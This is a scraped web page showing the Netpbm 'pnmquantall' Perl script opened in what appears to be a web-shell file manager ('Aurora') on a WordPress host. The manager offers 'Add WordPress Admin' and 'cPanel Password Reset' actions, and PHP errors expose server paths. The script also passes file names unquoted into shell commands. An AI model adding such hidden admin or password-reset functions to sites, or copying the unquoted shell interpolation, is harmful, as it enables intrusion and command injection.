Aurora

Name	Size	Permissions	Actions
..	-	-	-

#!/usr/bin/sh

##############################################################################
# This is essentially a Perl program.  We exec the Perl interpreter specifying
# this same file as the Perl program and use the -x option to cause the Perl
# interpreter to skip down to the Perl code.  The reason we do this instead of
# just making /usr/bin/perl the script interpreter (instead of /bin/sh) is
# that the user may have multiple Perl interpreters and the one he wants to
# use is properly located in the PATH.  The user's choice of Perl interpreter
# may be crucial, such as when the user also has a PERL5LIB environment
# variable and it selects modules that work with only a certain main
# interpreter program.
#
# An alternative some people use is to have /usr/bin/env as the script
# interpreter.  We don't do that because we think the existence and
# compatibility of /bin/sh is more reliable.
#
# Note that we aren't concerned about efficiency because the user who needs
# high efficiency can use directly the programs that this program invokes.
#
##############################################################################

exec perl -w -x -S -- "$0" "$@"

#!/usr/bin/perl
##############################################################################
#                                  pnmquantall  
##############################################################################
#
# HISTORY:
#
# This was in the original 1989 Pbmplus as a C shell program.  In Netpbm 9.13
# (April 2001), it was converted to Bash.  (Actually, it was thought to be
# Bourne shell, but it used arrays).  In Netpbm 10.58 (March 2012), it was
# converted to Perl for better portability.
#
# The 2012 Perl conversion also changed the name from Ppmquantall to
# Pnmquantall.  It had already handled non-PPM input files for many years.
#
# The original program was more complex:  Because in those days Pnmcolormap
# and Pnmremap did not exist, Ppmquantall concatenated all the input images
# together and ran Ppmquant (later Pnmquant) on the combination.  It then
# split the combination image apart to make one output image per input image.
# Today, Pnmquant is just a combination of Pnmcolormap and Pnmremap, and
# we are able to use them better separately in Ppmquantall: We still make
# the combination image, but use it only to compute the colormap with
# Pnmcolormap.  We then apply that colormap separately to each input image
# to produce an output image.
#
# Bryan Henderson wrote the current version from scratch in March 2012
# and contributed it to the public domain.
#
##############################################################################

use strict;
use warnings;
use English;
use Fcntl;  # gets open flags
use File::Copy;
use IO::Handle;

my $TRUE=1; my $FALSE = 0;

sub pm_message($) {
    STDERR->print("pnmquantall: $_[0]\n");
}

sub doVersionHack($) {
    my ($argvR) = @_;

my $arg1 = $argvR->[0];

if (defined($arg1) && (($arg1 eq "--version") || ($arg1 eq "-version"))) {
        my $termStatus = system('pnmcolormap', '--version');
        exit($termStatus == 0 ? 0 : 1);
    }
}

sub parseArgs($$$$) {
    my ($argvR, $extR, $newColorCtR, $fileNamesR) = @_;

my @argv = @{$argvR};

my $firstArgPos;

if (@argv > 0 && $argv[0] eq "-ext") {
        if (@argv < 2) {
            pm_message("-ext requires a value");
        exit(100);
        } else {
            $$extR = $argv[1];
            $firstArgPos = 2;
        }
    } else {
        $$extR = "";
        $firstArgPos = 0;
    }

if (@argv < $firstArgPos + 2) {
        pm_message("Not enough arguments.  You need at least the number " .
                      "of colors and one file name");
        exit(100);
    }
    
    $$newColorCtR = $argv[$firstArgPos];

@{$fileNamesR} = @argv[$firstArgPos + 1 .. @argv-1];
}

sub tempFile($) {

# We trust Perl's File::Temp to do a better job of creating the temp
    # file, but it doesn't exist before Perl 5.6.1.

if (eval { require File::Temp; 1 }) {
        return File::Temp::tempfile("pnmquant_XXXX", 
                                    SUFFIX=>".pnm", 
                                    DIR=>File::Spec->tmpdir(),
                                    UNLINK=>$TRUE);
    } else {
        my ($suffix) = @_;
        my $fileName;
        local *file;  # For some inexplicable reason, must be local, not my
        my $i;
        $i = 0;
        do {
            $fileName = File::Spec->tmpdir() . "/pnmquant_" . $i++ . $suffix;
        } until sysopen(*file, $fileName, O_RDWR|O_CREAT|O_EXCL);

return(*file, $fileName);
    }
}

sub makeColorMap($$$$) {
    my ($fileNamesR, $newColorCt, $colorMapFileName, $errorR) = @_;

my $pnmcatCmd = "pnmcat -topbottom -white -jleft @{$fileNamesR}";

my $pnmcolormapCmd = "pnmcolormap $newColorCt";

my $makeMapCmd = "$pnmcatCmd | $pnmcolormapCmd >$colorMapFileName";

my $termStatus = system($makeMapCmd);

if ($termStatus != 0) {
        $$errorR =
            "Shell command to create the color map failed:  '$makeMapCmd'.";
    }
}

sub remapFiles($$$$) {
    my ($fileNamesR, $colorMapFileName, $ext, $errorR) = @_;

my ($outputFh, $outputFileName) = tempFile("pnm");
    if (!defined($outputFh)) {
        $$errorR = "Unable to create temporary file.  Errno=$ERRNO";
    } else {
        for (my $i = 0; $i < @{$fileNamesR} && !$$errorR; ++$i) {
            my $inFileName = $fileNamesR->[$i];

my $pnmremapCmd =
                "pnmremap '$inFileName' -mapfile=$colorMapFileName " .
                ">$outputFileName";

my $pnmremapTermStatus = system($pnmremapCmd);

if ($pnmremapTermStatus != 0) {
                $$errorR =
                    "Shell command to quantize '$inFileName'  failed:  " .
                    "'$pnmremapCmd'";
            } else {
                my $newFileName = $inFileName . $ext;

unlink($newFileName);
                File::Copy::move($outputFileName, $newFileName)
                    or $$errorR = "Rename to '$newFileName' failed.";
            }
        }
        unlink($outputFileName);  # In case something failed
    }
}

###############################################################################
#                             MAINLINE
###############################################################################

my $progError;

doVersionHack(\@ARGV);

parseArgs(\@ARGV, \my $ext, \my $newColorCt, \my @fileNames);

my ($colorMapFh, $colorMapFileName) = tempFile("pnm");
if (!defined($colorMapFh)) {
    $progError = "Unable to create temporary file.  Errno=$ERRNO";
}

if (!$progError) {
    makeColorMap(\@fileNames, $newColorCt, $colorMapFileName, \$progError);
}
if (!$progError) {
    remapFiles(\@fileNames, $colorMapFileName, $ext, \$progError);
}

my $exitStatus;

if ($progError) {
    pm_message("Failed.  $progError");
    $exitStatus = 1;
} else {
    $exitStatus = 0;
}

unlink($colorMapFileName);

exit($exitStatus);

Deprecated: version_compare(): Passing null to parameter #1 ($version1) of type string is deprecated in /home3/homscoke/public_html/wp-includes/load.php on line 159

Warning: require(/home3/homscoke/public_html/wp-includes/html-api/class-wp-html-doctype-info.php): Failed to open stream: No such file or directory in /home3/homscoke/public_html/wp-settings.php on line 258

Warning: require(/home3/homscoke/public_html/wp-includes/html-api/class-wp-html-doctype-info.php): Failed to open stream: No such file or directory in /home3/homscoke/public_html/wp-settings.php on line 258

Fatal error: Uncaught Error: Failed opening required '/home3/homscoke/public_html/wp-includes/html-api/class-wp-html-doctype-info.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home3/homscoke/public_html/wp-settings.php:258 Stack trace: #0 /home3/homscoke/public_html/wp-config.php(102): require_once() #1 /home3/homscoke/public_html/wp-load.php(50): require_once('/home3/homscoke...') #2 /home3/homscoke/public_html/wp-blog-header.php(13): require_once('/home3/homscoke...') #3 /home3/homscoke/public_html/index.php(20): require('/home3/homscoke...') #4 {main} thrown in /home3/homscoke/public_html/wp-settings.php on line 258

Upload File

New Folder

New File

Add WordPress Admin

cPanel Password Reset

Edit: ppmquantall